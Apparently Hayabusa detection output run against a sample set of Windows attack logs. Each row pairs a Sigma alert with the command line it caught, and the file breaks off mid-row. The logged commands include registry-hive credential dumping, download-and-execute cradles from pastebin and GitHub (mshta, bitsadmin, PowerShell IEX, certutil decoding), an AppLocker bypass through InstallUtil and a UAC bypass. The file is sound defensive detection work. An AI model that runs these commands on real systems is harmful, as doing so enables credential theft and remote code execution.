00:11:27.202 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Extract\VSC_SYSTEM_HIVE"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.202 +09:00,MSEDGEWIN10,1,medium,Suspicious Copy From or To System32,,rules/sigma/process_creation/win_susp_copy_system32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.202 +09:00,MSEDGEWIN10,1,high,Copying Sensitive Files with Credential Data,,rules/sigma/process_creation/win_copying_sensitive_files_with_credential_data.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.233 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\SYSTEM C:\Extract\SYSTEM_HIVE"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.258 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\SYSTEM C:\Extract\SYSTEM_HIVE : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\SYSTEM C:\Extract\SYSTEM_HIVE""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:50.764 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:12:05.755 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\NOTEPAD.EXE"" C:\AtomicRedTeam\atomics\T1003\T1003.md : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-26 16:39:14.375 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\hh.exe"" C:\Users\IEUser\Desktop\Fax Record N104F.chm : Path: C:\Windows\hh.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-26 16:39:14.375 +09:00,MSEDGEWIN10,1,high,HH.exe Execution,,rules/sigma/process_creation/win_hh_chm.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-26 16:39:14.935 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /c copy /Y C:\Windows\system32\rundll32.exe %%TEMP%%\out.exe > nul && %%TEMP%%\out.exe javascript:""\..\mshtml RunHTMLApplication "";document.write();h=new%%20ActiveXObject(""WinHttp.WinHttpRequest.5.1"");h.Open(""GET"",""http://pastebin.com/raw/y2CjnRtH"",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%%20ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im out.exe"",0,true);} : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\hh.exe"" C:\Users\IEUser\Desktop\Fax Record N104F.chm",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-26 16:39:14.935 +09:00,MSEDGEWIN10,1,high,HTML Help Shell Spawn,,rules/sigma/process_creation/win_html_help_spawn.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-26 16:39:14.935 +09:00,MSEDGEWIN10,1,medium,Suspicious Copy From or To System32,,rules/sigma/process_creation/win_susp_copy_system32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-28 07:43:41.424 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Downloads\UACBypass.exe"" : Path: C:\Users\IEUser\Downloads\UACBypass.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:41.424 +09:00,MSEDGEWIN10,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.033 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: PrivEsc - UACBypass Mocking Trusted WinFolders : Command: ""C:\Windows \System32\winSAT.exe"" formal : Path: C:\Windows \System32\winSAT.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\UACBypass.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.033 +09:00,MSEDGEWIN10,1,critical,TrustedPath UAC Bypass Pattern,,rules/sigma/process_creation/win_susp_uac_bypass_trustedpath.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.161 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 6820 324 0000022557280720 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.392 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: PrivEsc - UACBypass Mocking Trusted WinFolders : Command: ""C:\Windows \System32\winSAT.exe"" formal : Path: C:\Windows \System32\winSAT.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\UACBypass.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.392 +09:00,MSEDGEWIN10,1,critical,TrustedPath UAC Bypass Pattern,,rules/sigma/process_creation/win_susp_uac_bypass_trustedpath.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-30 06:11:17.364 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\control.exe"" ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"", : Path: C:\Windows\System32\control.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:17.587 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\rundll32.exe"" Shell32.dll,Control_RunDLL ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"", : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\control.exe"" ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"",",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:17.587 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:17.621 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\SysWOW64\rundll32.exe"" ""C:\Windows\SysWOW64\shell32.dll"",#44 ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"", : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\rundll32.exe"" Shell32.dll,Control_RunDLL ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"",",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:17.621 +09:00,MSEDGEWIN10,1,high,Suspicious Call by Ordinal,,rules/sigma/process_creation/win_susp_rundll32_by_ordinal.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:19.098 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\wscript.exe"" /e:JScript.Encode /nologo C:\Users\IEUser\AppData\Local\Temp\info.txt : Path: C:\Windows\SysWOW64\wscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\SysWOW64\rundll32.exe"" ""C:\Windows\SysWOW64\shell32.dll"",#44 ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"",",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:19.098 +09:00,MSEDGEWIN10,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:32:55.583 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 6336 362 00000298E04230D0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:57.633 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:58.659 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c certutil -f -decode fi.b64 AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:58.659 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:58.711 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:59.234 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: certutil -f -decode fi.b64 AllTheThings.dll : Path: C:\Windows\System32\certutil.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c certutil -f -decode fi.b64 AllTheThings.dll ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:59.234 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.193 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c bitsadmin.exe /transfer ""JobName"" https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt ""C:\Windows\system32\Default_File_Path.ps1"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.254 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c powershell -c ""Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt -Destination Default_File_Path.ps1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.254 +09:00,MSEDGEWIN10,1,medium,Windows Suspicious Use Of Web Request in CommandLine,,rules/sigma/process_creation/process_creation_susp_web_request_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.886 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /transfer ""JobName"" https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt ""C:\Windows\system32\Default_File_Path.ps1"" : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c bitsadmin.exe /transfer ""JobName"" https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt ""C:\Windows\system32\Default_File_Path.ps1""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.886 +09:00,MSEDGEWIN10,1,medium,Bitsadmin Download,,rules/sigma/process_creation/win_process_creation_bitsadmin_download.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.966 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell -c ""Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt -Destination Default_File_Path.ps1 : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c powershell -c ""Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt -Destination Default_File_Path.ps1",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.966 +09:00,MSEDGEWIN10,1,high,Suspicious Bitsadmin Job via PowerShell,,rules/sigma/process_creation/win_powershell_bitsjob.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.966 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.966 +09:00,MSEDGEWIN10,1,medium,Windows Suspicious Use Of Web Request in CommandLine,,rules/sigma/process_creation/process_creation_susp_web_request_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:04.008 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.202 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.202 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.318 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.446 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.446 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:13.214 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:13.214 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:13.225 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.286 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c mshta.exe javascript:a=GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct"").Exec();close(); : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.310 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.583 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: mshta.exe javascript:a=GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct"").Exec();close(); : Path: C:\Windows\System32\mshta.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c mshta.exe javascript:a=GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct"").Exec();close();",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.583 +09:00,MSEDGEWIN10,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.583 +09:00,MSEDGEWIN10,1,high,Mshta JavaScript Execution,,rules/sigma/process_creation/win_mshta_javascript.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.583 +09:00,MSEDGEWIN10,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:20.186 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: mshta.exe javascript:a=GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct"").Exec();close();",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:21.567 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.215 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c powershell -c ""(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.215 +09:00,MSEDGEWIN10,1,medium,Windows Suspicious Use Of Web Request in CommandLine,,rules/sigma/process_creation/process_creation_susp_web_request_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.215 +09:00,MSEDGEWIN10,1,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.232 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell -c ""(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c powershell -c ""(New-Object 